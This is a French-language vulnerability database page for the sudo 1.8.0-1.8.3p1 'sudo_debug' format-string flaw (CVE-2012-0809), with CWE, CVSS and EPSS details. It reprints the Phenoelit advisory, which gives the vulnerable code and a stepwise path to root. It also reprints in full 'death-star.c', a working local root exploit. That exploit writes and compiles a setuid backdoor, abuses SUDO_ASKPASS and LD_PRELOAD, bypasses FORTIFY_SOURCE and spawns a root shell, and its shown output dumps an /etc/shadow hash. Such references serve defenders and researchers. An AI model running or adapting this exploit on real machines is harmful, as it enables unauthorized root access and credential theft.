Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-134 |
Use of Externally-Controlled Format String The product uses a function that accepts a format string as an argument, but the format string originates from an external source. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 18436
Date de publication : 2012-01-30 23h00 +00:00
Auteur : joernchen
EDB Vérifié : Yes
Phenoelit Advisory <wir-haben-auch-mal-was-gefunden #0815 +--++>
[ Authors ]
joernchen <joernchen () phenoelit de>
Phenoelit Group (http://www.phenoelit.de)
[ Affected Products ]
sudo 1.8.0 - 1.8.3p1 (http://sudo.ws)
[ Vendor communication ]
2012-01-24 Send vulnerability details to sudo maintainer
2012-01-24 Maintainer is embarrased
2012-01-27 Asking maintainer how the fixing goes
2012-01-27 Maintainer responds with a patch and a release date
of 2012-01-30 for the patched sudo and advisory
2012-01-30 Release of this advisory
[ Description ]
Observe src/sudo.c:
void
sudo_debug(int level, const char *fmt, ...)
{
va_list ap;
char *fmt2;
if (level > debug_level)
return;
/* Backet fmt with program name and a newline to make it a single
write */
easprintf(&fmt2, "%s: %s\n", getprogname(), fmt);
va_start(ap, fmt);
vfprintf(stderr, fmt2, ap);
va_end(ap);
efree(fmt2);
}
Here getprogname() is argv[0] and by this user controlled. So
argv[0] goes to fmt2 which then gets vfprintf()ed to stderr. The
result is a Format String vulnerability.
[ Example ]
/tmp $ ln -s /usr/bin/sudo %n
/tmp $ ./%n -D9
*** %n in writable segment detected ***
Aborted
/tmp $
A note regarding exploitability: The above example shows the result
of FORTIFY_SOURCE which makes explotitation painful but not
impossible (see [0]). Without FORTIFY_SOURCE the exploit is straight
forward:
1. Use formatstring to overwrite the setuid() call with setgid()
2. Trigger with formatstring -D9
3. Make use of SUDO_ASKPASS and have shellcode in askpass script
4. As askpass will be called after the formatstring has
overwritten setuid() the askepass script will run with uid 0
5. Enjoy the rootshell
[ Solution ]
Update to version 1.8.3.p2
[ References ]
[0] http://www.phrack.org/issues.html?issue=67&id=9
[ end of file ]
Exploit Database EDB-ID : 25134
Date de publication : 2013-04-30 22h00 +00:00
Auteur : aeon
EDB Vérifié : Yes
/*
death-star.c
sudo v1.8.0-1.8.3p1 (sudo_debug) format string root exploit + glibc FORTIFY_SOURCE bypass
by aeon - http://infosecabsurdity.wordpress.com/
This PoC exploits:
- CVE-2012-0864 - FORTIFY_SOURCE format string protection bypass via "nargs" integer overflow
- CVE-2012-0809 - sudo v1.8.0-1.8.3p1 "sudo_debug" format string
Tested on:
- Fedora core 16 verne
- glibc 2.14.90.14 release
- sudo 1.8.1p2
Notes:
- This exploit actually turned out very reliable :-)
- You can make a cleaner version of this exploit if you smash sudo_debug function pointer
or a libc function pointer so you dont write to disk. I wont be releasing that version :-)
References and thanks too:
- http://seclists.org/fulldisclosure/2012/Jan/att-590/advisory_sudo.txt
- http://www.vnsecurity.net/2012/02/exploiting-sudo-format-string-vunerability/
- http://www.alertlogic.com/modern-userland-linux-exploitation-courseware/
- "A Eulogy for Format Strings" http://www.phrack.org/issues.html?issue=67&id=9&mode=txt
[aeon@localhost tmp]$ gcc death-star.c -o death-star
[aeon@localhost tmp]$ ./death-star
[+] Targeting release: 3.1.0-7.fc16.i686.PAE
[+] Found vuln glibc version: 2.14.90
[+] Found a vuln sudo version: 1.8.1
[+] Writing backdoor: e.c
[+] Compiling backdoor: e
[+] Writing SUDO_ASKPASS file: e.sh
[+] Press enter when ready...
< -------------- REMOVED -------------->
A�AF@F@F@F@F@' from LD_PRELOAD cannot be preloaded: ignored.
%1073825311%21372736 %: settings:
=
%1073825311%21372736 %: settings:
=
%1073825311%21372736 %: sudo_mode 1081383169
Sorry, try again.
Sorry, try again.
Sorry, try again.
%20$08n %*482$ %*2850$ %1073741824$: 3 incorrect password attempts
%1073886251%21372736 %: policy plugin returns 1081402445
[+] Getting root..!
[+] Cleaning system.
[+] Launching root shell!
sh-4.2# id; uname -a
uid=0(root) gid=1001(aeon) groups=0(root),1001(aeon) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Linux localhost.localdomain 3.1.0-7.fc16.i686.PAE #1 SMP Tue Nov 1 20:53:45 UTC 2011 i686 i686 i386 GNU/Linux
sh-4.2# head -n1 /etc/shadow
root:$6$YxDB.SNvtnqhtt.T$slIOJSl7Lz07PtDF23m1G0evZH4MXvpo1VNebUUasM/je2sP6FXi2Y/QE1Ntg.93jOtTQOfZ8k2e/HhT8XzXN/:15818:0:99999:7:::
sh-4.2#
*/
#include <sys/resource.h>
#include <sys/utsname.h>
#include <gnu/libc-version.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/time.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/wait.h>
#define OFFSET 65000
#define NUM_THREADS 0
/* files that we create on disk */
#define BACKDOOR "e.c"
#define BD_COMPILED "e"
#define SUDO_ASKPASS "e.sh"
extern char **environ;
struct utsname ver;
void *kill_sudo();
void *pop_shell();
void *set_env();
int is_glibc_vuln();
int is_sudo_vuln();
int write_backdoor();
/* hardcoded path to sudo */
const char sudo[] = "/usr/bin/sudo\0";
char s_version[20];
/* vuln versions of sudo */
char vuln_sudo_versions[4][20] = {
{"1.8.0"},
{"1.8.1"},
{"1.8.2"},
{"1.8.3"}
};
/* vuln versions of glibc */
char vuln_glibc_versions[4][20] = {
{"2.14.90"},
};
int main(int argc, char *argv[])
{
struct rlimit rara;
int status;
char ready;
uname(&ver);
printf("[+] Targeting release: %s\n", ver.release);
if (is_glibc_vuln()){
if(is_sudo_vuln()){
if (write_backdoor()){
printf("[+] Press enter when ready...");
scanf("%c", &ready);
}else{ exit(0); }
}else{ exit(0); }
}else{ exit(0); }
// ulimited stack
rara.rlim_max = rara.rlim_cur = -1;
setrlimit(RLIMIT_STACK, &rara);
pid_t pid;
if((pid = fork()) < 0)
{
printf("[-] An error occurred while forking sudo\n");
return -1;
}
else if(pid == 0){
set_env();
kill_sudo();
}else{
wait(&status);
if (WIFEXITED(status)) {
sleep(1);
pop_shell();
}
}
}
int is_glibc_vuln(){
int i, returnval = -1;
for (i = 0; i < 4; i++){
if (strcmp(gnu_get_libc_version(), vuln_glibc_versions[i]) == 0){
printf("[+] Found vuln glibc version: %s\n", gnu_get_libc_version());
returnval = 1;
}
}
return returnval;
};
int is_sudo_vuln(){
int i, returnval = -1;;
FILE *fp;
char path[20];
char sudo_ver_cmd[50];
snprintf(sudo_ver_cmd, sizeof(sudo)+3,"%s -V", sudo);
fp = popen(sudo_ver_cmd, "r");
if (fp == NULL) {
printf("[-] Failed to get sudo's version\n[-]Exiting.." );
exit(0);
}
fgets(path, 21, fp);
memmove (s_version, path+13,5);
for (i = 0; i < 4; i++){
if (strcmp(s_version, vuln_sudo_versions[i]) == 0){
printf("[+] Found a vuln sudo version: %s\n", s_version);
returnval = 1;
}
}
return returnval;
};
int write_backdoor(){
int returnval = 1;
char askpass[100], compile_bd[100];
char bdcode[] = "#include <stdio.h>\r\n"
"#include <stdlib.h>\r\n"
"int main(int argc, char **argv){\r\n"
" printf(\"[+] Getting root..!\\n\");\r\n"
" setresuid(0,0,0);\r\n"
" printf(\"[+] Cleaning system.\\n\");\r\n"
" remove(\"e\"); remove(\"e.c\"); remove(\"e.sh\");\r\n"
" printf(\"[+] Launching root shell!\\n\");\r\n"
" system(\"/bin/sh\");\r\n"
" exit(0);\r\n"
"}\r\n";
FILE *fp = fopen(BACKDOOR,"wb");
if (fp == NULL) {
printf("[-] Failed to write backdoor on the target, check your permissions\n" );
returnval = -1;
}else{
printf("[+] Writing backdoor: %s\n", BACKDOOR);
}
fwrite(bdcode, 1, sizeof(bdcode)-1, fp); fclose(fp);
memset(compile_bd, 0x00, sizeof(compile_bd));
snprintf(compile_bd, sizeof(BACKDOOR)+sizeof(BD_COMPILED)+17,"/usr/bin/gcc %s -o %s", BACKDOOR, BD_COMPILED);
printf("[+] Compiling backdoor: %s\n", BD_COMPILED);
fp = popen(compile_bd, "r");
if (fp == NULL) {
printf("[-] Failed to compile the backdoor, check the gcc path\n" );
returnval = -1;
}
fclose(fp);
memset(askpass, 0x00, sizeof(askpass));
snprintf(askpass, sizeof(BD_COMPILED)*2+39,"#!/bin/sh\nchown root:root %s\nchmod 4777 %s\n", BD_COMPILED, BD_COMPILED);
fp = fopen(SUDO_ASKPASS,"w");
if (fp == NULL) {
printf("[-] Failed to write backdoor on the target, check your permissions\n" );
returnval = -1;
}else{
printf("[+] Writing SUDO_ASKPASS file: %s\n", SUDO_ASKPASS);
}
fwrite(askpass, 1, sizeof(askpass)-1, fp); fclose(fp);
chmod(SUDO_ASKPASS, 0755);
return returnval;
};
void *set_env(){
int i = 0;
char ld_preload_evar[OFFSET] = "LD_PRELOAD=";
char user_details[OFFSET] = {0x1f, 0x46, 0x01, 0x40};
char sudo_askpass_evar[40];
for (i=0; i<(OFFSET/4); i++){
memcpy(user_details+(i*4), user_details, sizeof(int));
}
memmove (ld_preload_evar+11, user_details , sizeof(user_details));
memset(sudo_askpass_evar, 0x00, sizeof(sudo_askpass_evar));
snprintf(sudo_askpass_evar, sizeof(SUDO_ASKPASS)+13,"SUDO_ASKPASS=%s", SUDO_ASKPASS);
// set our environment
putenv(ld_preload_evar);
putenv(sudo_askpass_evar);
};
void *kill_sudo(){
char fmtstring[] = "%20$08n %*482$ %*2850$ %1073741824$";
char *args[] = { fmtstring, "-D9", "-A", "", NULL};
// trigger the vuln
execve(sudo, args, environ);
};
void *pop_shell(){
// set our environment
unsetenv("LD_PRELOAD");
unsetenv("SUDO_ASKPASS");
char *exploit_args[] = { BD_COMPILED, NULL };
execve(BD_COMPILED, exploit_args, environ);
};
Products Mentioned
Configuraton 0
Todd_miller>>Sudo >> Version 1.8.0
Todd_miller>>Sudo >> Version 1.8.1
Todd_miller>>Sudo >> Version 1.8.1p1
Todd_miller>>Sudo >> Version 1.8.1p2
Todd_miller>>Sudo >> Version 1.8.2
Todd_miller>>Sudo >> Version 1.8.3
Todd_miller>>Sudo >> Version 1.8.3p1
Références